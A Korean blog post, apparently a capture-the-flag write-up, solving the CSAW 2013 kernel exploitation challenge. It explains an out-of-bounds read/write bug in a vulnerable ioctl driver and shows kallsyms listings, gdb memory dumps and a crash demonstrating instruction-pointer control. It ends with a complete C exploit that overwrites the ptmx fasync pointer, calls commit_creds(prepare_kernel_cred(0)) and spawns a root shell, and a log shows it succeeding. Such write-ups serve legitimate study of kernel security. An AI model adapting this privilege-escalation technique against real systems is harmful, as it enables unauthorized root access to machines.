Kernel/Hacking

 이번에 커널 디버깅 환경도 맞췄겠다, 커널 익스플로잇에 대한 케이스 스터디와 감을 익히기 위해서 문제를 몇 가지 풀어보기로 결정했다.


처음에는 일단 CSAW에서 2013년도에 나온 커널 챌린지를 풀어볼까 한다.


취약점은 2가지가 존재한다, 첫 번째는 OOB로 인한 Arbitrary Memory Overwrite

두 번째는 Memory Leak이다. 먼저 Memory Leak은 다음 코드에서 일어난다.


        case CSAW_GET_CONSUMER:

        {

            struct consumer_args consumer_args;

            struct csaw_buf *cbuf;

            unsigned int i, authorized = 0;


            printk(KERN_INFO "CSAW_GET_CONSUMER\n");


            if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) )

                return -EFAULT;


            cbuf = find_cbuf(consumer_args.handle);

            if ( ! cbuf )

                return -EINVAL;


            for ( i = 0; i < MAX_CONSUMERS; i++ )

                if ( current->pid == cbuf->consumers[i] )

                    authorized = 1;


            if ( ! authorized )

                return -EPERM;


            consumer_args.pid = cbuf->consumers[consumer_args.offset];


            if ( copy_to_user(argp, &consumer_args, sizeof(consumer_args)) )

                return -EFAULT;


            break;

        } 


취약점의 발생 원인은 consumer_args의 pid를 사용자가 넘겨준 consumer_args.offset을 통해 지정해주면서 발생한다. 이때문에 다음 구조체


#define MAX_CONSUMERS 255


struct csaw_buf {

    unsigned long consumers[MAX_CONSUMERS];

    char *buf;

    unsigned long size;

    unsigned long seed;

    struct list_head list;

}; 


에서는 MAX_CONSUMERS다음에 있는 buf를 읽을 수 있게 되고 이에 따라서 현재 만들어진 랜덤 seed가 뭔지도 알 수 있게 된다.


OOB를 통한 memory overwrite취약점은 다음 위치에 있는데


        case CSAW_SET_CONSUMER:

        {

            struct consumer_args consumer_args;

            struct csaw_buf *cbuf;

            unsigned int i, authorized = 0;


            printk(KERN_INFO "CSAW_SET_CONSUMER\n");


            if ( copy_from_user(&consumer_args, argp, sizeof(consumer_args)) )

                return -EFAULT;


            cbuf = find_cbuf(consumer_args.handle);

            if ( ! cbuf )

                return -EINVAL;


            for ( i = 0; i < MAX_CONSUMERS; i++ )

                if ( current->pid == cbuf->consumers[i] )

                    authorized = 1;


            if ( ! authorized )

                return -EPERM;


            cbuf->consumers[consumer_args.offset] = consumer_args.pid;


            break;

        } 


SET_CONSUMER를 진행할 때, 마찬가지로 buf라는 포인터에 우리가 입력할 수 있는 unsigned long 타입의 pid를 적을 수 있게 되면서 취약점이 발생한다.


이렇게 되면 4바이트의 메모리 값을 바꾸는 것이 가능해지는데, 어딜 바꿀지가 가장 큰 관건이다.

나는 그래서 kallsyms에서 fops를 가진 녀석들을 한번 나열해봤다.


root@debugging-machine:/home/test# cat /proc/kallsyms | grep "fops"

c10267a0 t fake_panic_fops_open

c11230e0 t fault_around_bytes_fops_open

c1253750 t fops_u8_open

c1253770 t fops_u8_wo_open

c1253790 t fops_u8_ro_open

c12537b0 t fops_u16_open

c12537d0 t fops_u16_wo_open

c12537f0 t fops_u16_ro_open

c1253810 t fops_u32_open

c1253830 t fops_u32_wo_open

c1253850 t fops_u32_ro_open

c1253870 t fops_u64_open

c1253890 t fops_u64_wo_open

c12538b0 t fops_u64_ro_open

c12538d0 t fops_x8_open

c12538f0 t fops_x8_wo_open

c1253910 t fops_x8_ro_open

c1253930 t fops_x16_open

c1253950 t fops_x16_wo_open

c1253970 t fops_x16_ro_open

c1253990 t fops_x32_open

c12539b0 t fops_x32_wo_open

c12539d0 t fops_x32_ro_open

c12539f0 t fops_x64_open

c1253a10 t fops_size_t_open

c1253a30 t fops_atomic_t_open

c1253a50 t fops_atomic_t_wo_open

c1253a70 t fops_atomic_t_ro_open

c1340b60 T tty_default_fops

c1367b00 t port_fops_fasync

c1367e80 t port_fops_poll

c1367fd0 t port_fops_read

c1369420 t port_fops_splice_write

c1369540 t port_fops_write

c1369780 t port_fops_release

c1369810 t port_fops_open

c13b33a0 t i915_fbc_fc_fops_open

c13b33c0 t i915_next_seqno_fops_open

c13b33e0 t i915_drop_caches_fops_open

c13b3400 t i915_ring_test_irq_fops_open

c13b3420 t i915_ring_missed_irq_fops_open

c13b3440 t i915_ring_stop_fops_open

c13b3460 t i915_cache_sharing_fops_open

c13b3480 t i915_min_freq_fops_open

c13b34a0 t i915_max_freq_fops_open

c13b34c0 t i915_wedged_fops_open

root@debugging-machine:/home/test# 


중간에 tty_default_fops라는 녀석이 보인다. 사실 실제 접근 방법은 블랙펄 시큐리티를 참고 많이했는데, 내 경우에는 kallsyms에 ptmx가 없어서 다른 방법으로 접근할 필요가 있었다.


tty_default_fops는 tty 디바이스에 대한 디폴트로 지정된 file_operations 구조체를 원하는 위치에 복사해주고 지정해주는 역할을 하는 함수인데




원형은 이렇게 생겼다. 그럼 여기서 tty_fops로 직접 가서 실제로 어떤 기능들을 포함하고 있는지 살펴보자, 당연히 read, write, open, release는 기본 옵션일 것이다.

하지만 이 녀석들을 섣불리 건드렸다가는 터미널 상에서 중대한 문제가 발생할 가능성이 있기에.. 실제로 어떤 operation들을 포함하는지 볼 필요가 있다.




눈에 띄는 녀석들은 llseek, poll, fasync 정도가 있다. 이 중에서 fasync는 일반적으로 쓸일이 많이 없는데, 이는 어떤 명령이냐면


http://chammoru.egloos.com/v/4183377


시그널을 처리하기 위한 녀석 정도로 해석할 수 있나보다.




실제로 tty_default_fops는 ptmx_fops에서 사용이 되고 있었는데, 이는 /dev/ptmx에 쓰고 읽을 때 사용되는 file operation 구조체로, 실제로 메모리 상의 ptmx_fops의 구조체를 찾아서 직접 확인해보면 다음과 같은 구조를 가지고 있다.


(gdb) x/10wx 0xc1340b60+0x8c6e64-68

0xc1c07980 <ptmx_fops>: 0x00000000 0xc1143030 0xc133e730 0xc133e7f0

0xc1c07990 <ptmx_fops+16>: 0x00000000 0x00000000 0x00000000 0xc133e6b0

0xc1c079a0 <ptmx_fops+32>: 0xc133ee90 0x00000000

(gdb) 

0xc1c079a8 <ptmx_fops+40>: 0x00000000 0x00000000 0xc13480c0 0x00000000

0xc1c079b8 <ptmx_fops+56>: 0xc133fbf0 0x00000000 0x00000000 0x08048bc4

0xc1c079c8 <ptmx_fops+72>: 0x00000000 0x00000000

(gdb)  


이 메모리 덤프 상태는 내가 이미 익스플로잇을 진행한 상황이라 중간에 0x08048bc4라는 유저모드 메모리 주소가 적혀있다. 저 부분이 fasync에 대한 함수 포인터..

만약 저 부분을 0x41414141로 바꾼 다음에 /dev/ptmx를 fasync로 불러주면 어떻게 되는지 한번 보도록 하자.


#include <stdio.h>

#include <unistd.h>

#include <fcntl.h>


int main()

{

    char byte;

    int fd = open("/dev/ptmx", O_RDWR);

    fcntl(fd, F_SETFL, FASYNC);

    return 0;

}


실행!!


root@debugging-machine:~# ./tty_test


Message from syslogd@debugging-machine at Aug  4 08:48:11 ...

 kernel:[17295.196425] CPU: 0 PID: 4172 Comm: tty_test Tainted: G      D    O    4.1.24 #1


Message from syslogd@debugging-machine at Aug  4 08:48:11 ...

 kernel:[17295.196425] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014

Killed


Message from syslogd@debugging-machine at Aug  4 08:48:11 ...

 kernel:[17295.196425] Stack:


Message from syslogd@debugging-machine at Aug  4 08:48:11 ...

 kernel:[17295.196425]  c1153f23 21b60000 f6b1dce8 00000003 f61c9480 f61c9480 00000004 f6385fac


Message from syslogd@debugging-machine at Aug  4 08:48:11 ...

 kernel:[17295.196425]  c115413b f61c9480 00000003 00002000 00000003 00000000 b76f2ff4 f6384000

root@debugging-machine:~# 

Message from syslogd@debugging-machine at Aug  4 08:48:11 ...

 kernel:[17295.196425]  c17d3fba 00000003 00000004 00002000 00000000 b76f2ff4 bfc2bf68 000000dd


Message from syslogd@debugging-machine at Aug  4 08:48:11 ...

 kernel:[17295.196425] Call Trace:


Message from syslogd@debugging-machine at Aug  4 08:48:11 ...

 kernel:[17295.196425]  [<c1153f23>] ? do_fcntl+0x383/0x470


Message from syslogd@debugging-machine at Aug  4 08:48:11 ...

 kernel:[17295.196425]  [<c115413b>] SyS_fcntl64+0x8b/0xf0


Message from syslogd@debugging-machine at Aug  4 08:48:11 ...

 kernel:[17295.196425]  [<c17d3fba>] syscall_call+0x7/0x7


Message from syslogd@debugging-machine at Aug  4 08:48:11 ...

 kernel:[17295.196425] Code:  Bad EIP value.


Message from syslogd@debugging-machine at Aug  4 08:48:11 ...

 kernel:[17295.196425] EIP: [<41414141>] 0x41414141 SS:ESP 0068:f6385f70



보다시피 EIP가 41414141로 바뀐 것을 볼 수 있다. 이에 따라 해당 영역을 바꾼 다음에 /dev/ptmx에서 fasync를 불러주면 우리가 원하는대로 흐름을 바꾸는 것이 가능하다.


$ id       

uid=1000(test) gid=1000(test) groups=1000(test)

$ ./call_ioctl

Handle : 0x838946cc

PID : 0xf63eef00

Seed : 0x75b7a9cc

[+] Resolved commit_creds to 0xc1065f90

[+] Resolved prepare_kernel_cred to 0xc1066240

[+] Resolved tty_default_fops to 0xc1340b60

commit_creds() : 0xc1065f90

prepare_kernel_cred() : 0xc1066240

tty_default_fops TABLE : 0xc1340b60

# id

uid=0(root) gid=0(root) groups=0(root)

# 



전체 페이로드


#include <fcntl.h>

#include <stdio.h>

#include <unistd.h>

#include <string.h>

#include <sys/ioctl.h>

#include <sys/utsname.h>


#define CSAW_IOCTL_BASE     0x77617363

#define CSAW_ALLOC_HANDLE   CSAW_IOCTL_BASE+1

#define CSAW_READ_HANDLE    CSAW_IOCTL_BASE+2

#define CSAW_WRITE_HANDLE   CSAW_IOCTL_BASE+3

#define CSAW_GET_CONSUMER   CSAW_IOCTL_BASE+4

#define CSAW_SET_CONSUMER   CSAW_IOCTL_BASE+5

#define CSAW_FREE_HANDLE    CSAW_IOCTL_BASE+6

#define CSAW_GET_STATS     CSAW_IOCTL_BASE+7


struct alloc_args 

{

    unsigned long size;

    unsigned long handle;

};


struct read_args

{

    unsigned long handle;

    unsigned long size;

    void *out;

};


struct write_args

{

    unsigned long handle;

    unsigned long size;

    void *in;

};


struct consumer_args

{

    unsigned long handle;

    unsigned long pid;

    unsigned char offset;

};


unsigned long get_kernel_sym(char *name)

{

        FILE *f;

        unsigned long addr;

        char dummy;

        char sname[512];

        struct utsname ver;

        int ret;

        int rep = 0;

        int oldstyle = 0;


        f = fopen("/proc/kallsyms", "r");

        if (f == NULL) {

                f = fopen("/proc/ksyms", "r");

                if (f == NULL)

                        goto fallback;

                oldstyle = 1;

        }


repeat:

        ret = 0;

        while(ret != EOF) {

                if (!oldstyle)

                        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);

                else {

                        ret = fscanf(f, "%p %s\n", (void **)&addr, sname);

                        if (ret == 2) {

                                char *p;

                                if (strstr(sname, "_O/") || strstr(sname, "_S."))

                                        continue;

                                p = strrchr(sname, '_');

                                if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {

                                        p = p - 4;

                                        while (p > (char *)sname && *(p - 1) == '_')

                                                p--;

                                        *p = '\0';

                                }

                        }

                }

                if (ret == 0) {

                        fscanf(f, "%s\n", sname);

                        continue;

                }

                if (!strcmp(name, sname)) {

                        fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");

                        fclose(f);

                        return addr;

                }

        }


        fclose(f);

        if (rep)

                return 0;

fallback:

        uname(&ver);

        if (strncmp(ver.release, "2.6", 3))

                oldstyle = 1;

        sprintf(sname, "/boot/System.map-%s", ver.release);

        f = fopen(sname, "r");

        if (f == NULL)

                return 0;

        rep = 1;

        goto repeat;

}


typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);

typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);


unsigned long commit_creds;

unsigned long prepare_kernel_cred;

unsigned long tty_default_fops;


int privilege_evaluation(int fd, struct file *filp, int on)

{

    _commit_creds commit = (_commit_creds) commit_creds;

    _prepare_kernel_cred prepare = (_prepare_kernel_cred) prepare_kernel_cred;


    commit(prepare(0));

    return 0;

}


void generate_kallsyms()

{

    commit_creds = get_kernel_sym("commit_creds");

    prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");

    tty_default_fops = get_kernel_sym("tty_default_fops");


    printf("commit_creds() : 0x%x\n", commit_creds);

    printf("prepare_kernel_cred() : 0x%x\n", prepare_kernel_cred);

    printf("tty_default_fops TABLE : 0x%x\n", tty_default_fops);


    return;

}


unsigned long get_consumer(int fd, unsigned long handle, unsigned long pid, unsigned char offset)

{

    unsigned long pid_ = 0;

    struct consumer_args *consumer;


    consumer = (struct consumer_args *)malloc(sizeof(struct consumer_args));


    consumer->handle = handle;

    consumer->pid = pid;

    consumer->offset = offset;


    ioctl(fd, CSAW_GET_CONSUMER, consumer);


    pid_ = consumer->pid;

    free(consumer);


    return pid_;

}


void set_consumer(int fd, unsigned long handle, unsigned long pid, unsigned char offset)

{

    struct consumer_args *consumer;


    consumer = (struct consumer_args *)malloc(sizeof(struct consumer_args));


    consumer->handle = handle;

    consumer->pid = pid;

    consumer->offset = offset;


    ioctl(fd, CSAW_SET_CONSUMER, consumer);

    free(consumer);

}


void read_handle(int fd, unsigned long handle, unsigned long size,

                 void *bufferAddr)

{

    struct read_args read_arg;


    read_arg.handle = handle;

    read_arg.size = size;

    read_arg.out = bufferAddr;


    ioctl(fd, CSAW_READ_HANDLE, &read_arg);

}


void write_handle(int fd, unsigned long handle, unsigned long size,

                 void *bufferAddr)

{   

    struct write_args write_arg;

    

    write_arg.handle = handle;

    write_arg.size = size;

    write_arg.in = bufferAddr;

    

    ioctl(fd, CSAW_WRITE_HANDLE, &write_arg);

}


int main()

{

int fd, ptmx;

char buf[1024], byte;

struct alloc_args alloc_args;

unsigned long pid_ = 0;

        unsigned long seed = 0, target = 0;

        unsigned long handleValue = 0;


fd = open("/dev/csaw", O_RDONLY);

        ptmx = open("/dev/ptmx", O_RDWR);


memset(&alloc_args, 0, sizeof(alloc_args));

alloc_args.size = 256;

ioctl(fd,CSAW_ALLOC_HANDLE,&alloc_args);

        printf("Handle : 0x%x\n", alloc_args.handle);

        pid_ = get_consumer(fd, alloc_args.handle, getpid(), 255);

        printf("PID : 0x%x\n", pid_);


        seed = alloc_args.handle ^ pid_;

        printf("Seed : 0x%x\n", seed);


        generate_kallsyms();


        handleValue = ((tty_default_fops + 0x8c6e64) ^ seed);

        set_consumer(fd, alloc_args.handle, (tty_default_fops + 0x8c6e64), 255);


        target = (unsigned long *)privilege_evaluation;

        write_handle(fd, handleValue, 4, (void *)&target);


        fcntl(ptmx, F_SETFL, FASYNC);

        if (getuid())

        {

            printf("Failed..\n");

            exit(1);

        }

        execve("/bin/sh", NULL, NULL);

return 0;


'Kernel > Hacking' 카테고리의 다른 글

CVE-2017-7308 Flow 분석  (0) 2018.08.19
CVE-2017-7308 분석 블로그 번역  (0) 2018.08.16
Kernel Exploit Challenge - #2  (0) 2018.08.08
Debugging x86_64  (0) 2018.08.06
커널 모듈에 브레이크 포인트 걸기  (0) 2018.08.03